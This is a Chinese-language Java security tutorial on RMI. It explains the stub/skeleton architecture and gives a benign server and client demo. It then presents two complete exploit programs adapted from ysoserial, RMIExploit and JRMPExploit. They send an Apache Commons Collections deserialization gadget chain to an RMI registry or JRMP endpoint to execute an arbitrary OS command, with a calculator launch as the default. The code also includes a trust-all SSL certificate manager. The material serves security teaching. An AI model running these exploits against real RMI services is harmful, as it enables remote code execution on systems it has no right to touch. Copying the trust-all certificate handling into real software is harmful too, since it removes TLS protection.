RMI
RMI(Remote Method Invocation)即Java遠程方法調用,RMI用于構建分布式應用程序,RMI實現了Java程序之間跨JVM的遠程通信。
RMI架構:

RMI底層通訊采用了Stub(運行在客戶端)和Skeleton(運行在服務端)機制,RMI調用遠程方法的大致如下:
RMI客戶端在調用遠程方法時會先創建Stub(sun.rmi.registry.RegistryImpl_Stub)。Stub會將Remote對象傳遞給遠程引用層(java.rmi.server.RemoteRef)并創建java.rmi.server.RemoteCall(遠程調用)對象。RemoteCall序列化RMI服務名稱、Remote對象。RMI客戶端的遠程引用層傳輸RemoteCall序列化后的請求信息通過Socket連接的方式傳輸到RMI服務端的遠程引用層。RMI服務端的遠程引用層(sun.rmi.server.UnicastServerRef)收到請求會請求傳遞給Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。Skeleton調用RemoteCall反序列化RMI客戶端傳過來的序列化。Skeleton處理客戶端請求:bind、list、lookup、rebind、unbind,如果是lookup則查找RMI服務名綁定的接口對象,序列化該對象并通過RemoteCall傳輸到客戶端。RMI客戶端反序列化服務端結果,獲取遠程對象的引用。RMI客戶端調用遠程方法,RMI服務端反射調用RMI服務實現類的對應方法并序列化執行結果返回給客戶端。RMI客戶端反序列化RMI遠程方法調用結果。
RMI遠程方法調用測試
第一步我們需要先啟動RMI服務端,并注冊服務。
RMI服務端注冊服務代碼:
package com.anbai.sec.rmi;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIServerTest {
// RMI服務器IP地址
public static final String RMI_HOST = "127.0.0.1";
// RMI服務端口
public static final int RMI_PORT = 9527;
// RMI服務名稱
public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";
public static void main(String[] args) {
try {
// 注冊RMI端口
LocateRegistry.createRegistry(RMI_PORT);
// 綁定Remote對象
Naming.bind(RMI_NAME, new RMITestImpl());
System.out.println("RMI服務啟動成功,服務地址:" + RMI_NAME);
} catch (Exception e) {
e.printStackTrace();
}
}
}
程序運行結果:
RMI服務啟動成功,服務地址:rmi://127.0.0.1:9527/test
Naming.bind(RMI_NAME, new RMITestImpl())綁定的是服務端的一個類實例,RMI客戶端需要有這個實例的接口代碼(RMITestInterface.java),RMI客戶端調用服務器端的RMI服務時會返回這個服務所綁定的對象引用,RMI客戶端可以通過該引用對象調用遠程的服務實現類的方法并獲取方法執行結果。
RMITestInterface示例代碼:
package com.anbai.sec.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
/**
* RMI測試接口
*/
public interface RMITestInterface extends Remote {
/**
* RMI測試方法
*
* @return 返回測試字符串
*/
String test() throws RemoteException;
}
這個區別于普通的接口調用,這個接口在RMI客戶端中沒有實現代碼,接口的實現代碼在RMI服務端。
服務端RMITestInterface實現代碼示例代碼:
package com.anbai.sec.rmi;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {
private static final long serialVersionUID = 1L;
protected RMITestImpl() throws RemoteException {
super();
}
/**
* RMI測試方法
*
* @return 返回測試字符串
*/
@Override
public String test() throws RemoteException {
return "Hello RMI~";
}
}
RMI客戶端示例代碼:
package com.anbai.sec.rmi;
import java.rmi.Naming;
import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;
public class RMIClientTest {
public static void main(String[] args) {
try {
// 查找遠程RMI服務
RMITestInterface rt = (RMITestInterface) Naming.lookup(RMI_NAME);
// 調用遠程接口RMITestInterface類的test方法
String result = rt.test();
// 輸出RMI方法調用結果
System.out.println(result);
} catch (Exception e) {
e.printStackTrace();
}
}
}
程序運行結果:
Hello RMI~
RMI反序列化漏洞
RMI通信中所有的對象都是通過Java序列化傳輸的,在學習Java序列化機制的時候我們講到只要有Java對象反序列化操作就有可能有漏洞。
既然RMI使用了反序列化機制來傳輸Remote對象,那么可以通過構建一個惡意的Remote對象,這個對象經過序列化后傳輸到服務器端,服務器端在反序列化時候就會觸發反序列化漏洞。
首先我們依舊使用上述com.anbai.sec.rmi.RMIServerTest的代碼,創建一個RMI服務,然后我們來構建一個惡意的Remote對象并通過bind請求發送給服務端。
RMI客戶端反序列化攻擊示例代碼:
package com.anbai.sec.rmi;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.HashMap;
import java.util.Map;
import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
/**
* RMI反序列化漏洞利用,修改自ysoserial的RMIRegistryExploit:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java
*
* @author yz
*/
public class RMIExploit {
// 定義AnnotationInvocationHandler類常量
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
/**
* 信任SSL證書
*/
private static class TrustAllSSL implements X509TrustManager {
private static final X509Certificate[] ANY_CA = {};
public X509Certificate[] getAcceptedIssuers() {
return ANY_CA;
}
public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
}
/**
* 創建支持SSL的RMI客戶端
*/
private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
public Socket createSocket(String host, int port) throws IOException {
try {
// 獲取SSLContext對象
SSLContext ctx = SSLContext.getInstance("TLS");
// 默認信任服務器端SSL
ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);
// 獲取SSL Socket連接工廠
SSLSocketFactory factory = ctx.getSocketFactory();
// 創建SSL連接
return factory.createSocket(host, port);
} catch (Exception e) {
throw new IOException(e);
}
}
}
/**
* 使用動態代理生成基于InvokerTransformer/LazyMap的Payload
*
* @param command 定義需要執行的CMD
* @return Payload
* @throws Exception 生成Payload異常
*/
private static InvocationHandler genPayload(String command) throws Exception {
// 創建Runtime.getRuntime.exec(cmd)調用鏈
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
};
// 創建ChainedTransformer調用鏈對象
Transformer transformerChain = new ChainedTransformer(transformers);
// 使用LazyMap創建一個含有惡意調用鏈的Transformer類的Map對象
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
// 獲取AnnotationInvocationHandler類對象
Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
// 獲取AnnotationInvocationHandler類的構造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 設置構造方法的訪問權限
constructor.setAccessible(true);
// 實例化AnnotationInvocationHandler,
// 等價于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);
InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
// 使用動態代理創建出Map類型的Payload
final Map mapProxy2 = (Map) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler
);
// 實例化AnnotationInvocationHandler,
// 等價于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);
return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);
}
/**
* 執行Payload
*
* @param registry RMI Registry
* @param command 需要執行的命令
* @throws Exception Payload執行異常
*/
public static void exploit(final Registry registry, final String command) throws Exception {
// 生成Payload動態代理對象
Object payload = genPayload(command);
String name = "test" + System.nanoTime();
// 創建一個含有Payload的惡意map
Map<String, Object> map = new HashMap();
map.put(name, payload);
// 獲取AnnotationInvocationHandler類對象
Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
// 獲取AnnotationInvocationHandler類的構造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 設置構造方法的訪問權限
constructor.setAccessible(true);
// 實例化AnnotationInvocationHandler,
// 等價于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);
InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
// 使用動態代理創建出Remote類型的Payload
Remote remote = (Remote) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler
);
try {
// 發送Payload
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
if (args.length == 0) {
// 如果不指定連接參數默認連接本地RMI服務
args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
}
// 遠程RMI服務IP
final String host = args[0];
// 遠程RMI服務端口
final int port = Integer.parseInt(args[1]);
// 需要執行的系統命令
final String command = args[2];
// 獲取遠程Registry對象的引用
Registry registry = LocateRegistry.getRegistry(host, port);
try {
// 獲取RMI服務注冊列表(主要是為了測試RMI連接是否正常)
String[] regs = registry.list();
for (String reg : regs) {
System.out.println("RMI:" + reg);
}
} catch (ConnectIOException ex) {
// 如果連接異常嘗試使用SSL建立SSL連接,忽略證書信任錯誤,默認信任SSL證書
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}
// 執行payload
exploit(registry, command);
}
}
程序執行后將會在RMI服務端彈出計算器(僅Mac系統,Windows自行修改命令為calc),RMIExploit程序執行的流程大致如下:
- 使用
LocateRegistry.getRegistry(host, port)創建一個RemoteStub對象。 - 構建一個適用于
Apache Commons Collections的惡意反序列化對象(使用的是LazyMap+AnnotationInvocationHandler組合方式)。 - 使用
RemoteStub調用RMI服務端的bind指令,并傳入一個使用動態代理創建出來的Remote類型的惡意AnnotationInvocationHandler對象到RMI服務端。 RMI服務端接受到bind請求后會反序列化我們構建的惡意Remote對象從而觸發Apache Commons Collections漏洞的RCE。
RMI客戶端端bind序列化:

上圖可以看到我們構建的惡意Remote對象會通過RemoteCall序列化然后通過RemoteRef發送到遠程的RMI服務端。
RMI服務端bind反序列化:

具體的實現代碼在:sun.rmi.registry.RegistryImpl_Skel類的dispatch方法,其中的$param_Remote_2就是我們RMIExploit傳入的惡意Remote的序列化對象。
RMI-JRMP反序列化漏洞
JRMP接口的兩種常見實現方式:
JRMP協議(Java Remote Message Protocol),RMI專用的Java遠程消息交換協議。IIOP協議(Internet Inter-ORB Protocol),基于CORBA實現的對象請求代理協議。
由于RMI數據通信大量的使用了Java的對象反序列化,所以在使用RMI客戶端去攻擊RMI服務端時需要特別小心,如果本地RMI客戶端剛好符合反序列化攻擊的利用條件,那么RMI服務端返回一個惡意的反序列化攻擊包可能會導致我們被反向攻擊。
我們可以通過和RMI服務端建立Socket連接并使用RMI的JRMP協議發送惡意的序列化包,RMI服務端在處理JRMP消息時會反序列化消息對象,從而實現RCE。
JRMP客戶端反序列化攻擊示例代碼:
package com.anbai.sec.rmi;
import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
/**
* 利用RMI的JRMP協議發送惡意的序列化包攻擊示例,該示例采用Socket協議發送序列化數據,不會反序列化RMI服務器端的數據,
* 所以不用擔心本地被RMI服務端通過構建惡意數據包攻擊,示例程序修改自ysoserial的JRMPClient:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java
*/
public class JRMPExploit {
public static void main(String[] args) throws IOException {
if (args.length == 0) {
// 如果不指定連接參數默認連接本地RMI服務
args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
}
// 遠程RMI服務IP
final String host = args[0];
// 遠程RMI服務端口
final int port = Integer.parseInt(args[1]);
// 需要執行的系統命令
final String command = args[2];
// Socket連接對象
Socket socket = null;
// Socket輸出流
OutputStream out = null;
try {
// 創建惡意的Payload對象
Object payloadObject = RMIExploit.genPayload(command);
// 建立和遠程RMI服務的Socket連接
socket = new Socket(host, port);
socket.setKeepAlive(true);
socket.setTcpNoDelay(true);
// 獲取Socket的輸出流對象
out = socket.getOutputStream();
// 將Socket的輸出流轉換成DataOutputStream對象
DataOutputStream dos = new DataOutputStream(out);
// 創建MarshalOutputStream對象
ObjectOutputStream baos = new MarshalOutputStream(dos);
// 向遠程RMI服務端Socket寫入RMI協議并通過JRMP傳輸Payload序列化對象
dos.writeInt(TransportConstants.Magic);// 魔數
dos.writeShort(TransportConstants.Version);// 版本
dos.writeByte(TransportConstants.SingleOpProtocol);// 協議類型
dos.write(TransportConstants.Call);// RMI調用指令
baos.writeLong(2); // DGC
baos.writeInt(0);
baos.writeLong(0);
baos.writeShort(0);
baos.writeInt(1); // dirty
baos.writeLong(-669196253586618813L);// 接口Hash值
// 寫入惡意的序列化對象
baos.writeObject(payloadObject);
dos.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
// 關閉Socket輸出流
if (out != null) {
out.close();
}
// 關閉Socket連接
if (socket != null) {
socket.close();
}
}
}
}
測試流程同上面的RMIExploit,這里不再贅述。
Java Web安全
推薦文章: